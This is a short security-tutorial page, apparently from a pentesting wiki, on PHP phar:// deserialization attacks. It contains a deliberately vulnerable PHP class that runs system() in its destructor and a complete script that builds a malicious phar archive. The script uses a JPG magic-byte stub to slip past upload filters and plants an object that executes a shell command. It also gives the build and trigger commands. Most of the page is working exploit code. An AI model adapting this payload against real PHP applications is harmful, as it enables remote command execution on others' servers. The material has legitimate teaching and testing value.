73 lines
2.1 KiB
Markdown
73 lines
2.1 KiB
Markdown
# phar:// deserialization
|
|
|
|
**Phar** files (PHP Archive) files **contain meta data in serialized format**, so, when parsed, this **metadata** is **deserialized** and you can try to abuse a **deserialization** vulnerability inside the **PHP** code.
|
|
|
|
The best thing about this characteristic is that this deserialization will occur even using PHP functions that do not eval PHP code like **file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()**.
|
|
|
|
So, imagine a situation where you can make a PHP web get the size of an arbitrary file an arbitrary file using the **`phar://`** protocol, and inside the code you find a **class** similar to the following one:
|
|
|
|
{% code title="vunl.php" %}
|
|
```php
|
|
<?php
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
filesize("phar://test.phar"); #The attacker can control this path
|
|
```
|
|
{% endcode %}
|
|
|
|
You can create a **phar** file that when loaded will **abuse this class to execute arbitrary command**s with something like:
|
|
|
|
{% code title="create_phar.php" %}
|
|
```php
|
|
<?php
|
|
|
|
class AnyClass {
|
|
public $data = null;
|
|
public function __construct($data) {
|
|
$this->data = $data;
|
|
}
|
|
|
|
function __destruct() {
|
|
system($this->data);
|
|
}
|
|
}
|
|
|
|
// create new Phar
|
|
$phar = new Phar('test.phar');
|
|
$phar->startBuffering();
|
|
$phar->addFromString('test.txt', 'text');
|
|
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
|
|
|
|
// add object of any class as meta data
|
|
$object = new AnyClass('whoami');
|
|
$phar->setMetadata($object);
|
|
$phar->stopBuffering();
|
|
```
|
|
{% endcode %}
|
|
|
|
Note how the **magic bytes of JPG** (`\xff\xd8\xff`) are added at the beginning of the phar file to **bypass** **possible** file **uploads** **restrictions**.\
|
|
**Compile** the `test.phar` file with:
|
|
|
|
```bash
|
|
php --define phar.readonly=0 create_phar.php
|
|
```
|
|
|
|
And execute the `whoami` command abusing the vulnerable code with:
|
|
|
|
```bash
|
|
php vuln.php
|
|
```
|
|
|
|
### References
|
|
|
|
[https://blog.ripstech.com/2018/new-php-exploitation-technique/](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|